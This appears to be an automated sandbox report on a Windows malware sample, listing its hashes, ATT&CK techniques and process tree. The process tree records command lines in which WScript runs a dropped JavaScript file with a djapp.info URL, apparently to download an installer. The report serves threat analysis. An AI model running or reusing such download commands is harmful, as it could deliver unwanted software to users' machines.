d8641c3689554d05054129b433a8e96a98ae1cf76325afa68b0ad54bb9bb4dfe

General

Target

89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe
Size

184KB
MD5

89e9ddf331df1c6b6ca5d12ffe934ddf
SHA1

c04191dda52029be32e7c40eba29584bef7536a9
SHA256

d8641c3689554d05054129b433a8e96a98ae1cf76325afa68b0ad54bb9bb4dfe
SHA512

dc8e5d8d8ea20d22c05d886ea86736464a60035736b782e015bc0341d6d1b20a72e2b7c193272541dbba99af5ab0fd7d6e0f91c512caf24d858a091448529acd
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3lIP:/7BSH8zUB+nGESaaRvoB7FJNndnaY

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
9	412	WScript.exe
39	4812	WScript.exe
43	1828	WScript.exe
56	4364	WScript.exe
58	3600	WScript.exe
59	3600	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4864	1360	WerFault.exe	82

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1360 wrote to memory of 412	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	83
PID 1360 wrote to memory of 412	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	83
PID 1360 wrote to memory of 412	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	83
PID 1360 wrote to memory of 4812	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	97
PID 1360 wrote to memory of 4812	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	97
PID 1360 wrote to memory of 4812	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	97
PID 1360 wrote to memory of 1828	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	98
PID 1360 wrote to memory of 1828	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	98
PID 1360 wrote to memory of 1828	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	98
PID 1360 wrote to memory of 4364	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	101
PID 1360 wrote to memory of 4364	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	101
PID 1360 wrote to memory of 4364	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	101
PID 1360 wrote to memory of 3600	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	102
PID 1360 wrote to memory of 3600	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	102
PID 1360 wrote to memory of 3600	1360	89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\89e9ddf331df1c6b6ca5d12ffe934ddf_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1360
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4D35.js" http://www.djapp.info/?domain=qvDVYbnJIM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4D35.exe
  2⤵
  - Blocklisted process makes network request
  PID:412
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4D35.js" http://www.djapp.info/?domain=qvDVYbnJIM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4D35.exe
  2⤵
  - Blocklisted process makes network request
  PID:4812
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4D35.js" http://www.djapp.info/?domain=qvDVYbnJIM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4D35.exe
  2⤵
  - Blocklisted process makes network request
  PID:1828
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4D35.js" http://www.djapp.info/?domain=qvDVYbnJIM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4D35.exe
  2⤵
  - Blocklisted process makes network request
  PID:4364
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf4D35.js" http://www.djapp.info/?domain=qvDVYbnJIM.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf4D35.exe
  2⤵
  - Blocklisted process makes network request
  PID:3600
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 1448
  2⤵
  - Program crash
  PID:4864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1360 -ip 1360
1⤵
PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf4D35.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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